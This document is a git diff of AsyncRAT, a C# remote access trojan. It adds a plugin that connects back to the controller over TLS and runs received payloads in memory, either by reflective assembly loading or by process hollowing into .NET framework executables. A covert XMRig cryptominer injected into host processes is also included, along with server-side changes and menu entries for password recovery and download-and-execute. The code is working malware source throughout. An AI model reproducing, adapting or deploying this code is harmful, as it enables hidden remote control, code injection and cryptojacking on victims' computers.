GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {960A4538-1F35-45D9-8EDB-FCC72A709A7D} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Connection.cs b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Connection.cs new file mode 100644 index 0000000..4bd8917 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Connection.cs @@ -0,0 +1,219 @@ +using MessagePackLib.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long HeaderSize { get; set; } + private static long Offset { get; set; } + private static Timer Tick { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient(byte[] packet) + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + Packet.Read(packet); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + GC.Collect(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) //Socket read/recevie + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + Offset += recevied; + HeaderSize -= recevied; + if (HeaderSize == 0) + { + HeaderSize = BitConverter.ToInt32(Buffer, 0); + Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///"); + if (HeaderSize > 0) + { + Offset = 0; + Buffer = new byte[HeaderSize]; + while (HeaderSize > 0) + { + int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize); + if (rc <= 0) + { + IsConnected = false; + return; + } + Offset += rc; + HeaderSize -= rc; + if (HeaderSize < 0) + { + IsConnected = false; + return; + } + } + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(Buffer); + Offset = 0; + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + } + else + { + HeaderSize = 4; + Buffer = new byte[HeaderSize]; + Offset = 0; + } + } + else if (HeaderSize < 0) + { + IsConnected = false; + return; + } + SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + using (MemoryStream memoryStream = new MemoryStream(msg)) + { + int read = 0; + memoryStream.Position = 0; + byte[] chunk = new byte[50 * 1000]; + while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) + { + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(chunk, 0, read); + } + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Handler/HandleMiner.cs b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Handler/HandleMiner.cs new file mode 100644 index 0000000..b850d2a --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Handler/HandleMiner.cs @@ -0,0 +1,108 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Management; +using System.Runtime.InteropServices; +using System.Text; + +namespace Plugin.Handler +{ + internal class HandleMiner + { + public HandleMiner(MsgPack unpack_msgpack) + { + try + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "stop": + { + KillMiner(); + break; + } + + case "run": + { + RunMiner(unpack_msgpack); + break; + } + + case "save": + { + File.WriteAllBytes(Path.GetTempPath() + unpack_msgpack.ForcePathObject("Hash").AsString + ".bin", unpack_msgpack.ForcePathObject("Bin").GetAsBytes()); + RunMiner(unpack_msgpack); + break; + } + } + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + } + + public void RunMiner(MsgPack unpack_msgpack) + { + try + { + string xmrig = Path.GetTempPath() + unpack_msgpack.ForcePathObject("Hash").AsString + ".bin"; + string injectTo = unpack_msgpack.ForcePathObject("InjectTo").AsString; + string args = $"-B --donate-level=1 -t {Environment.ProcessorCount / 2} -v 0 --cpu-priority=3 -a cn/r -k -o {unpack_msgpack.ForcePathObject("Pool").AsString} -u {unpack_msgpack.ForcePathObject("Wallet").AsString} -p {unpack_msgpack.ForcePathObject("Pass").AsString}"; + if (!File.Exists(xmrig)) + { + //ask server to send xmrig + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "GetXmr"; + Connection.Send(msgpack.Encode2Bytes()); + return; + } + KillMiner(); + if (RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injectTo), Zip.Decompress(File.ReadAllBytes(Path.GetTempPath() + unpack_msgpack.ForcePathObject("Hash").AsString + ".bin")), args, false)) + { + SetRegistry.SetValue(Connection.Hwid, "1"); + } + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + Connection.Disconnected(); + } + + public void KillMiner() + { + foreach (var process in Process.GetProcesses()) + { + try + { + if (GetCommandLine(process).ToLower().Contains("--donate-level=")) + { + process.Kill(); + SetRegistry.SetValue(Connection.Hwid, "0"); + } + } + catch{ } + } + Connection.Disconnected(); + } + + public string GetCommandLine(Process process) + { + try + { + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT CommandLine FROM Win32_Process WHERE ProcessId = " + process.Id)) + using (ManagementObjectCollection objects = searcher.Get()) + { + return objects.Cast().SingleOrDefault()?["CommandLine"]?.ToString(); + } + } + catch { } + return ""; + } + + } +} diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Handler/HandleSendTo.cs b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Handler/HandleSendTo.cs new file mode 100644 index 0000000..a194722 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Handler/HandleSendTo.cs @@ -0,0 +1,67 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Threading; +using MessagePackLib.MessagePack; + +namespace Plugin.Handler +{ + public class HandleSendTo + { + public void SendToMemory(MsgPack unpack_msgpack) + { + try + { + byte[] buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes(); + string injection = unpack_msgpack.ForcePathObject("Inject").AsString; + if (injection.Length == 0) + { + //Reflection + new Thread(delegate () + { + try + { + Assembly loader = Assembly.Load(Zip.Decompress(buffer)); + object[] parm = null; + if (loader.EntryPoint.GetParameters().Length > 0) + { + parm = new object[] { new string[] { null } }; + } + loader.EntryPoint.Invoke(null, parm); + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + }) + { IsBackground = false }.Start(); + + } + else + { + //RunPE + new Thread(delegate () + { + try + { + global::Plugin.SendToMemory.Execute(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Zip.Decompress(buffer)); + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + }) + { IsBackground = false }.Start(); + } + } + catch (Exception ex) + { + Packet.Error(ex.Message); + } + Connection.Disconnected(); + } + } + +} diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/ILMerge.props b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/ILMerge.props new file mode 100644 index 0000000..b0fc9d2 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/ILMerge.props @@ -0,0 +1,67 @@ + + + + + + + + + + + true + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + false + + + + + + + + + + + + + + + + + + + + + + + diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/ILMergeOrder.txt b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/ILMergeOrder.txt new file mode 100644 index 0000000..3fda7f5 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/ILMergeOrder.txt @@ -0,0 +1,4 @@ +# this file contains the partial list of the merged assemblies in the merge order +# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build +# and finetune merge order to your satisfaction + diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Packet.cs b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Packet.cs new file mode 100644 index 0000000..6ba247e --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Packet.cs @@ -0,0 +1,47 @@ +using Plugin.Handler; +using MessagePackLib.MessagePack; +using System; + +namespace Plugin +{ + public static class Packet + { + public static void Read(object data) + { + try + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "sendMemory": + { + new HandleSendTo().SendToMemory(unpack_msgpack); + break; + } + } + } + catch (Exception ex) + { + Error(ex.Message); + } + } + + public static void Error(string ex) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Error"; + msgpack.ForcePathObject("Error").AsString = ex; + Connection.Send(msgpack.Encode2Bytes()); + } + + public static void Log(string message) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Logs"; + msgpack.ForcePathObject("Message").AsString = message; + Connection.Send(msgpack.Encode2Bytes()); + } + } + +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Plugin.cs b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Plugin.cs new file mode 100644 index 0000000..631e7f3 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Plugin.cs @@ -0,0 +1,38 @@ +using System.Diagnostics; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public static Mutex AppMutex; + public static string Mutex; + public static string BDOS; + public static string Install; + public static string InstallFile; + + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install) + { + Debug.WriteLine("Plugin Invoked"); + AppMutex = mutex; + Mutex = mtx; + BDOS = bdos; + Install = install; + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(msgPack); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..22dfa08 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/Properties/AssemblyInfo.cs @@ -0,0 +1,35 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/SendMemory.csproj b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/SendMemory.csproj new file mode 100644 index 0000000..8e49224 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/SendMemory.csproj @@ -0,0 +1,77 @@ + + + + + + + Debug + AnyCPU + {0E423DD6-FAAF-4A66-8828-6A5A5F22269B} + Library + Properties + Plugin + SendMemory + v4.0 + 512 + true + + + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + {DC199D9E-CF10-41DD-BBCD-98E71BA8679D} + MessagePackLib + + + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/RunPE.cs b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/SendToMemory.cs similarity index 90% rename from AsyncRAT-C#/Plugin/SendFile/SendFile/RunPE.cs rename to AsyncRAT-C#/Plugin/SendMemory/SendMemory/SendToMemory.cs index 0477111..c2f2df0 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/RunPE.cs +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/SendToMemory.cs @@ -8,7 +8,7 @@ using System.Security.Principal; namespace Plugin { - public static class RunPE + public static class SendToMemory { #region API delegate @@ -77,9 +77,9 @@ namespace Plugin #endregion - public static void Run(string path, byte[] payload) + public static void Execute(string path, byte[] data) { - for (int i = 0; i < 5; i++) + for (int i = 0; i < 10; i++) { int readWrite = 0x0; StartupInformation si = new StartupInformation(); @@ -88,8 +88,8 @@ namespace Plugin try { if (!CreateProcessA(path, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 0x00000004 | 0x08000000, IntPtr.Zero, null, ref si, ref pi)) throw new Exception(); - int fileAddress = BitConverter.ToInt32(payload, 0x3C); - int imageBase = BitConverter.ToInt32(payload, fileAddress + 0x34); + int fileAddress = BitConverter.ToInt32(data, 0x3C); + int imageBase = BitConverter.ToInt32(data, fileAddress + 0x34); int[] context = new int[0xB3]; context[0x0] = 0x10002; if (IntPtr.Size == 0x4) @@ -101,31 +101,31 @@ namespace Plugin if (!ReadProcessMemory(pi.ProcessHandle, ebx + 0x8, ref baseAddress, 0x4, ref readWrite)) throw new Exception(); if (imageBase == baseAddress) if (ZwUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0x0) throw new Exception(); - int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50); - int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54); + int sizeOfImage = BitConverter.ToInt32(data, fileAddress + 0x50); + int sizeOfHeaders = BitConverter.ToInt32(data, fileAddress + 0x54); bool allowOverride = false; int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 0x3000, 0x40); if (newImageBase == 0x0) throw new Exception(); - if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite)) throw new Exception(); + if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, data, sizeOfHeaders, ref readWrite)) throw new Exception(); int sectionOffset = fileAddress + 0xF8; - short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6); + short numberOfSections = BitConverter.ToInt16(data, fileAddress + 0x6); for (int I = 0; I < numberOfSections; I++) { - int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC); - int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10); - int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14); + int virtualAddress = BitConverter.ToInt32(data, sectionOffset + 0xC); + int sizeOfRawData = BitConverter.ToInt32(data, sectionOffset + 0x10); + int pointerToRawData = BitConverter.ToInt32(data, sectionOffset + 0x14); if (sizeOfRawData != 0x0) { byte[] sectionData = new byte[sizeOfRawData]; - Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0x0, sectionData.Length); + Buffer.BlockCopy(data, pointerToRawData, sectionData, 0x0, sectionData.Length); if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) throw new Exception(); } sectionOffset += 0x28; } byte[] pointerData = BitConverter.GetBytes(newImageBase); if (!WriteProcessMemory(pi.ProcessHandle, ebx + 0x8, pointerData, 0x4, ref readWrite)) throw new Exception(); - int addressOfEntryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28); + int addressOfEntryPoint = BitConverter.ToInt32(data, fileAddress + 0x28); if (allowOverride) newImageBase = imageBase; context[0x2C] = newImageBase + addressOfEntryPoint; diff --git a/AsyncRAT-C#/Plugin/SendMemory/SendMemory/packages.config b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/packages.config new file mode 100644 index 0000000..1bc7f33 --- /dev/null +++ b/AsyncRAT-C#/Plugin/SendMemory/SendMemory/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Connection/Clients.cs b/AsyncRAT-C#/Server/Connection/Clients.cs index 50ed95d..55d94a0 100644 --- a/AsyncRAT-C#/Server/Connection/Clients.cs +++ b/AsyncRAT-C#/Server/Connection/Clients.cs @@ -29,10 +29,13 @@ namespace Server.Connection public object SendSync { get; set; } public long BytesRecevied { get; set; } + public string Ip { get; set; } + public Clients(Socket socket) { SendSync = new object(); TcpClient = socket; + Ip = TcpClient.RemoteEndPoint.ToString().Split(':')[0]; SslClient = new SslStream(new NetworkStream(TcpClient, true), false); SslClient.BeginAuthenticateAsServer(Settings.ServerCertificate, false, SslProtocols.Tls, false, EndAuthenticate, null); } @@ -153,7 +156,7 @@ namespace Server.Connection } } catch { } - new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} disconnected", Color.Red); + new HandleLogs().Addmsg($"Client {Ip} disconnected", Color.Red); })); } @@ -228,16 +231,17 @@ namespace Server.Connection { MsgPack msgPack = new MsgPack(); msgPack.ForcePathObject("Packet").SetAsString("savePlugin"); - msgPack.ForcePathObject("Dll").SetAsString(Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin))))); + msgPack.ForcePathObject("Dll").SetAsBytes(Zip.Compress(File.ReadAllBytes(plugin))); msgPack.ForcePathObject("Hash").SetAsString(GetHash.GetChecksum(plugin)); ThreadPool.QueueUserWorkItem(Send, msgPack.Encode2Bytes()); + new HandleLogs().Addmsg($"Plugin {Path.GetFileName(plugin)} sent to client {Ip}", Color.Blue); break; } } } catch (Exception ex) { - new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} {ex.Message}", Color.Red); + new HandleLogs().Addmsg($"Client {Ip} {ex.Message}", Color.Red); } } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs index 58958d0..b3d4e62 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.Designer.cs @@ -43,43 +43,8 @@ this.lv_ping = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.lv_act = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.contextMenuClient = new System.Windows.Forms.ContextMenuStrip(this.components); - this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); - this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); - this.toolStripSeparator5 = new System.Windows.Forms.ToolStripSeparator(); - this.statusStrip1 = new System.Windows.Forms.StatusStrip(); - this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); - this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel(); - this.ping = new System.Windows.Forms.Timer(this.components); - this.UpdateUI = new System.Windows.Forms.Timer(this.components); - this.tabControl1 = new System.Windows.Forms.TabControl(); - this.tabPage1 = new System.Windows.Forms.TabPage(); - this.tabPage2 = new System.Windows.Forms.TabPage(); - this.listView2 = new System.Windows.Forms.ListView(); - this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.contextMenuLogs = new System.Windows.Forms.ContextMenuStrip(this.components); - this.cLEARToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.tabPage3 = new System.Windows.Forms.TabPage(); - this.listView3 = new System.Windows.Forms.ListView(); - this.contextMenuThumbnail = new System.Windows.Forms.ContextMenuStrip(this.components); - this.ThumbnailImageList = new System.Windows.Forms.ImageList(this.components); - this.tabPage4 = new System.Windows.Forms.TabPage(); - this.listView4 = new System.Windows.Forms.ListView(); - this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); - this.contextMenuTasks = new System.Windows.Forms.ContextMenuStrip(this.components); - this.pASSWORDRECOVERYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.downloadAndExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.sENDFILETOMEMORYToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); - this.minerToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); - this.uPDATEToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); - this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator(); - this.dELETETASKToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.performanceCounter1 = new System.Diagnostics.PerformanceCounter(); - this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); - this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); - this.TimerTask = new System.Windows.Forms.Timer(this.components); this.aBOUTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.tODISKToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -103,6 +68,7 @@ this.xMRMinerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.runToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.filesSearcherToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.extraToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.visitWebsiteToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.sendMessageBoxToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); @@ -125,11 +91,46 @@ this.logoffToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); this.restartToolStripMenuItem3 = new System.Windows.Forms.ToolStripMenuItem(); this.shutdownToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); this.serverToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.blockClientsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator5 = new System.Windows.Forms.ToolStripSeparator(); this.bUILDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.statusStrip1 = new System.Windows.Forms.StatusStrip(); + this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel(); + this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel(); + this.ping = new System.Windows.Forms.Timer(this.components); + this.UpdateUI = new System.Windows.Forms.Timer(this.components); + this.tabControl1 = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.tabPage2 = new System.Windows.Forms.TabPage(); + this.listView2 = new System.Windows.Forms.ListView(); + this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuLogs = new System.Windows.Forms.ContextMenuStrip(this.components); + this.cLEARToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.tabPage3 = new System.Windows.Forms.TabPage(); + this.listView3 = new System.Windows.Forms.ListView(); + this.contextMenuThumbnail = new System.Windows.Forms.ContextMenuStrip(this.components); this.sTARTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.sTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.ThumbnailImageList = new System.Windows.Forms.ImageList(this.components); + this.tabPage4 = new System.Windows.Forms.TabPage(); + this.listView4 = new System.Windows.Forms.ListView(); + this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuTasks = new System.Windows.Forms.ContextMenuStrip(this.components); + this.pASSWORDRECOVERYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.downloadAndExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.sENDFILETOMEMORYToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.minerToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.uPDATEToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator(); + this.dELETETASKToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.performanceCounter1 = new System.Diagnostics.PerformanceCounter(); + this.performanceCounter2 = new System.Diagnostics.PerformanceCounter(); + this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components); + this.TimerTask = new System.Windows.Forms.Timer(this.components); this.contextMenuClient.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.tabControl1.SuspendLayout(); @@ -248,302 +249,6 @@ this.contextMenuClient.Name = "contextMenuStrip1"; this.contextMenuClient.Size = new System.Drawing.Size(203, 278); // - // toolStripSeparator2 - // - this.toolStripSeparator2.Name = "toolStripSeparator2"; - this.toolStripSeparator2.Size = new System.Drawing.Size(199, 6); - // - // toolStripSeparator1 - // - this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(199, 6); - // - // toolStripSeparator5 - // - this.toolStripSeparator5.Name = "toolStripSeparator5"; - this.toolStripSeparator5.Size = new System.Drawing.Size(199, 6); - // - // statusStrip1 - // - this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); - this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.toolStripStatusLabel1, - 